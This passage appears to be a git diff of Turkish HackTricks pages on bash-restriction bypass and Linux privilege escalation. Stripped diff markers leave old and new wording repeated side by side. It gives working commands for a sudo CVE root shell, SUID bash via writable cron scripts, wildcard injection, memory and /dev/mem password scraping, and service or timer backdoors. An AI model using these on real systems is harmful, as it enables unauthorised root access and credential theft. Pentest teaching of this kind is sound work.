Dış fonksiyonları yürütemiyorsanız ve yalnızca bir **sınırlı sayıda yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmayı denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra burada bazı **tavsiyeleriniz** var:
Dış fonksiyonları yürütemediğiniz durumlarda ve yalnızca bir **sınırlı sayıda yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz var**:
```bash
# Get list of builtins
declare builtins
@ -318,7 +319,7 @@ ln /f*
```
## Salt-Okuma/Noexec/Distroless Atlatma
Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
@ -340,21 +341,22 @@ Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya h
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Linux Yetki Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Sistem Bilgileri
### İşletim Sistemi Bilgileri
Çalışan işletim sisteminin bilgisini edinmeye başlayalım.
Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -44,7 +45,7 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
İyi bir zayıf çekirdek listesi ve bazı zaten derlenmiş **saldırılar** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
İyi bir zayıf çekirdek listesi ve zaten derlenmiş bazı **saldırıları** burada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Bazı **derlenmiş saldırıları** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
O web sitesinden tüm zayıf çekirdek sürümlerini çıkarmak için:
@ -55,9 +56,9 @@ Kernel exploits aramak için yardımcı olabilecek araçlar:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploit'leri kontrol eder)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploitleri kontrol eder)
Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve bu sayede bu exploit'in geçerli olduğundan emin olabilirsiniz.
Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel exploitlerinde yazılıdır ve bu sayede bu exploitin geçerli olduğundan emin olabilirsiniz.
### CVE-2016-5195 (DirtyCow)
@ -75,7 +76,7 @@ Vulnerabl sudo sürümlerine dayanarak:
```bash
searchsploit sudo
```
Sudo sürümünün zayıf noktalı olup olmadığını bu grep kullanarak kontrol edebilirsiniz.
Sudo sürümünün zayıf olup olmadığını bu grep kullanarak kontrol edebilirsiniz.
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
@ -87,7 +88,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg imza doğrulaması başarısız oldu
Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için **HTB'nin smasher2 kutusuna** bakın.
Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için **HTB'nin smasher2 kutusuna** bakın
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -112,8 +113,6 @@ else
echo "Not found AppArmor"
fi
```
### Grsecurity
### Grsecurity
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
@ -130,13 +129,13 @@ fi
```
### SElinux
**SElinux** (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış güvenlik politikalarını güçlendirmek için tasarlanmıştır. SElinux, dosya izinleri ve ağ bağlantıları gibi sistem kaynaklarına erişimi kontrol etmek için zorlayıcı bir politika uygular. Bu, kötü amaçlı yazılımların ve saldırganların sistem üzerindeki etkisini sınırlamaya yardımcı olabilir.
**SElinux** (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış izinlerden kaynaklanan güvenlik açıklarını azaltmaya yardımcı olur. SElinux, uygulamaların ve kullanıcıların erişebileceği kaynakları sınırlamak için zorlayıcı bir politika uygular. Bu sayede, kötü amaçlı yazılımların ve saldırganların sisteme sızma olasılığını azaltır.
```bash
(sestatus 2>/dev/null || echo "Not found sestatus")
```
### ASLR
ASLR (Adres Alanı Rastgele Konumlandırma), bir saldırganın hedef sisteme saldırı düzenlemesini zorlaştırmak için kullanılan bir güvenlik önlemidir. ASLR, bellek bölgelerinin rastgele konumlandırılmasını sağlayarak saldırganların hedeflenen bellek adreslerini tahmin etmesini zorlaştırır. Bu, saldırıların etkisini azaltmaya yardımcı olabilir.
**Adres Alanı Rastgele Konumlandırma (ASLR)**, saldırganların hedef sistemdeki bellek bölgelerinin konumunu tahmin etmesini zorlaştıran bir güvenlik önlemidir. Bu yöntem, bellek bölgelerinin rastgele adreslere yerleştirilmesini sağlayarak saldırıların etkisini azaltır.
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
@ -160,7 +159,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Kullanışlı yazılımlar
Yararlı ikili dosyaları sıralayın
Yararlı ikili dosyaları listeleyin
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -176,41 +175,41 @@ Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmen
dpkg -l #Debian
rpm -qa #Centos
```
Eğer makineye SSH erişiminiz varsa, makine içinde kurulu eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz.
Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz.
{% hint style="info" %}
_Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle kurulu yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaları önerilir_
_Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle yüklü yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamalar önerilir_
{% endhint %}
## İşlemler
**Hangi işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki de root tarafından yürütülen bir tomcat mi?)
**Hangi işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki de root tarafından yürütülen bir tomcat olabilir mi?)
```bash
ps aux
ps -ef
top -n 1
```
Her zaman çalışan olası **electron/cef/chromium hata ayıklayıcılarını** kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
Her zaman çalışan **electron/cef/chromium hata ayıklayıcılarını** kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
Ayrıca **süreç ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin**, belki birinin üzerine yazabilirsiniz.
### Süreç izleme
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık çağrılan zayıf süreçleri veya belirli gereksinimlerin karşılandığı durumları tespit etmek için çok yararlı olabilir.
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık sık yürütülen savunmasız süreçleri veya belirli gereksinimlerin karşılandığı durumları tanımlamak için çok yararlı olabilir.
### Süreç belleği
Bir sunucunun bazı hizmetleri **ık metin olarak kimlik bilgilerini belleğin içine kaydeder**.\
Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için **kök ayrıcalıklarına ihtiyacınız olacaktır**, bu nedenle bu genellikle zaten kök kullanıcı olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlı olacaktır.\
Bir sunucunun bazı hizmetleri **kimlik bilgileriniık metin olarak belleğin içine kaydeder**.\
Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için **kök ayrıcalıklarına ihtiyacınız olacaktır**, bu nedenle bu genellikle zaten kök kullanıcıysanız ve daha fazla kimlik bilgisi keşfetmek istiyorsanız daha yararlı olacaktır.\
Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz**.
{% hint style="warning" %}
Günümüzde çoğu makinenin **varsayılan olarak ptrace izin vermediğini** unutmayın, bu da kendi ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir.
Günümüzde çoğu makine **varsayılan olarak ptrace izin vermez**, bu da başka bir kullanıcıya ait diğer süreçleri dökemeyeceğiniz anlamına gelir.
_Proc/sys/kernel/yama/ptrace\_scope_ dosyası ptrace'nin erişilebilirliğini kontrol eder:
_Proc/sys/kernel/yama/ptrace\_scope_ dosyası ptrace erişilebilirliğini kontrol eder:
* **kernel.yama.ptrace\_scope = 0**: Aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şekliydi.
* **kernel.yama.ptrace\_scope = 1**: Yalnızca bir üst süreç hata ayıklanabilir.
* **kernel.yama.ptrace\_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü CAP\_SYS\_PTRACE yetkisine ihtiyaç duyar.
* **kernel.yama.ptrace\_scope = 0**: aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.
* **kernel.yama.ptrace\_scope = 1**: yalnızca bir üst süreç hata ayıklanabilir.
* **kernel.yama.ptrace\_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü CAP\_SYS\_PTRACE yetkisi gerektirir.
* **kernel.yama.ptrace\_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gereklidir.
{% endhint %}
@ -242,7 +241,7 @@ done
#### /proc/$pid/maps ve /proc/$pid/mem
Verilen bir işlem kimliği için **haritalar, belleğin o işlemin** sanal adres alanı içinde nasıl eşlendiğini gösterir; aynı zamanda **her eşlenmiş bölgenin izinlerini** de gösterir. **Mem** yalancı dosyası **işlemlerin belleğini kendisi açığa çıkarır**. **Haritalar** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve konumlarını öğreniriz. Bu bilgileri kullanarak **mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek** için kullanırız.
Verilen bir işlem kimliği için **haritalar, o işlemin** sanal adres alanı içinde nasıl belleğe **haritalandığını gösterir; ayrıca her haritalanmış bölgenin izinlerini** de gösterir. **Mem** sahte dosyası **işlemlerin belleğini kendisi açığa çıkarır**. **Haritalar** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu ve ofsetlerini** bildiğimizden, bu bilgiyi kullanarak **mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek** için kullanırız.
```bash
procdump()
(
@ -257,7 +256,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem`, sanal belleğe değil sistem **fiziksel** belleğe erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\
`/dev/mem`, sanal bellek değil, sistemin **fiziksel** belleğine erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\
Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grupları tarafından okunabilir.
```
strings /dev/mem -n10 | grep -i PASS
@ -296,8 +295,8 @@ Press Ctrl-C to end monitoring without terminating the process.
Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz
* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir)
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (kök) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz
* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (kök gereklidir)
### İşlem Belleğinden Kimlik Bilgileri
@ -308,7 +307,7 @@ Eğer doğrulayıcı işleminin çalıştığını bulursanız:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Prosesi dökümleyebilirsiniz (farklı yöntemler için bellek dökümü yapma bölümlerine bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz:
Prosesi dökümleyebilirsiniz (farklı yöntemleri bulmak için önceki bölümlere bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@ -342,7 +341,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Zamanlanmış/Cron işleri
Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? semboller kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? sembollü bağlantıları kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -350,12 +349,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
```
### Cron yolu
Örneğin, _/etc/crontab_ dosyası içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
Örneğin, _/etc/crontab_ dosyasının içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_"user" kullanıcısının /home/user üzerinde yazma izinlerine sahip olduğuna dikkat edin_)
Bu crontab dosyası içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden denemesi durumunda. Örneğin: _\* \* \* \* root overwrite.sh_\
O zaman, şu komutu kullanarak root kabuğuna erişebilirsiniz:
Eğer bu crontab dosyasının içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden deneme yaparsa. Örneğin: _\* \* \* \* root overwrite.sh_\
O zaman, bir root kabuğuna şu şekilde erişebilirsiniz:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@ -363,13 +362,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Bir joker karakteriyle bir betik kullanan Cron (Joker Karakteri Enjeksiyonu)
Eğer bir betik kök kullanıcısı tarafından çalıştırılıyorsa ve komut içinde "**\***" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek:
Eğer bir betik root tarafından çalıştırılıyorsa ve komut içinde "**\***" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Eğer joker karakteri bir yolun önünde gelirse** _**/bazı/yol/\***_ **şeklinde, zayıf değildir (hatta** _**./\***_ **değil).**
**Eğer joker karakteri bir yolun önünde gelirse** _**/bazı/yol/\***_ **şeklinde, bu zayıf değildir (hatta** _**./\***_ **değil).**
Daha fazla joker karakteri sömürü hilesi için aşağıdaki sayfayı okuyun:
Daha fazla joker karakteri sömürü hilesi için aşağıdaki sayfayı okuyun:
{% content-ref url="wildcards-spare-tricks.md" %}
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
@ -377,7 +376,7 @@ Daha fazla joker karakteri sömürü hilesi için aşağıdaki sayfayı okuyun:
### Cron betiği üzerine yazma ve sembolik bağlantı
Eğer **kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız**, çok kolay bir şekilde bir kabuk elde edebilirsiniz:
Eğer **kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız**, çok kolay bir şekilde bir kabuk alabilirsiniz:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -407,12 +406,12 @@ Bir cron işi oluşturmak mümkündür **bir yorumdan sonra bir satır sonu kara
### Yazılabilir _.service_ dosyaları
Herhangi bir `.service` dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, onu **değiştirebilirsiniz** böylece hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durduğunda** (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir) **arka kapınızı çalıştırabilirsiniz**.\
Herhangi bir `.service` dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, **onu değiştirebilirsiniz** böylece hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **arka kapınızı çalıştırabilir** (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir).\
Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** şeklinde oluşturun.
### Yazılabilir hizmet ikili dosyaları
Unutmayın ki eğer hizmetler tarafından **yürütülen ikili dosyalara yazma izniniz varsa**, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar da yürütülecektir.
Hizmetler tarafından **çalıştırılan ikili dosyalara yazma izniniz varsa**, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden çalıştırıldığında arka kapılar çalıştırılacaktır.
### systemd PATH - Göreceli Yollar
@ -420,19 +419,19 @@ Unutmayın ki eğer hizmetler tarafından **yürütülen ikili dosyalara yazma i
```bash
systemctl show-environment
```
Eğer yolun herhangi bir klasörüne **yazma** izniniz olduğunu fark ederseniz, muhtemelen **yetki yükseltme** yapabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreceli yolları** aramanız gerekebilir:
Eğer yolun herhangi bir klasörüne **yazma** izniniz olduğunu fark ederseniz, muhtemelen **yetki yükseltme** yapabilirsiniz. **Hizmet yapılandırmalarında kullanılan göreceli yolları** aramalısınız gibi dosyalar:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Ardından, **yürütülebilir** bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki **göreceli yol ikili dosya ile aynı isme sahip** olacak şekilde, hizmetin **Başlat, Durdur, Yeniden Yükle** gibi zafiyetli eylemi gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacak** (genellikle yetkisiz kullanıcılar hizmetleri başlatıp durduramaz ancak `sudo -l` komutunu kullanıp kullanamadığınızı kontrol edin).
Sonra, **yürütülebilir** bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki **ilişkili yol ikili dosyasıyla aynı ada sahip** oluşturun ve hizmete **bağlı eylemi yürütmesi istendiğinde**, **arka kapınız çalıştırılacaktır** (genellikle yetkisiz kullanıcılar hizmetleri başlatamaz/durduramaz ancak `sudo -l` komutunu kullanıp kullanamadığınızı kontrol edin).
**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.**
**Hizmetler hakkında daha fazla bilgi edinin `man systemd.service`.**
## **Zamanlayıcılar**
**Zamanlayıcılar**, adı `**.timer**` ile biten systemd birim dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilirler.
**Zamanlayıcılar**, adı `**.timer**` ile biten systemd birim dosyalarıdır ve `**.service**` dosyalarını veya etkinlikleri kontrol eder. **Zamanlayıcılar**, takvim zamanı etkinlikleri ve monotonik zaman etkinlikleri için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilir.
Tüm zamanlayıcıları şu şekilde sıralayabilirsiniz:
```bash
@ -440,52 +439,52 @@ systemctl list-timers --all
```
### Yazılabilir zamanlayıcılar
Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir `.service` veya `.target` gibi systemd.unit'in mevcut olanlarını çalıştırmak için kullanabilirsiniz.
Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir `.service` veya `.target` gibi systemd.unit varlıklarını çalıştırmak için kullanabilirsiniz.
```bash
Unit=backdoor.service
```
Belgede Ünite'nin ne olduğunu okuyabilirsiniz:
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı ada sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç aynı şekilde adlandırılması önerilir.
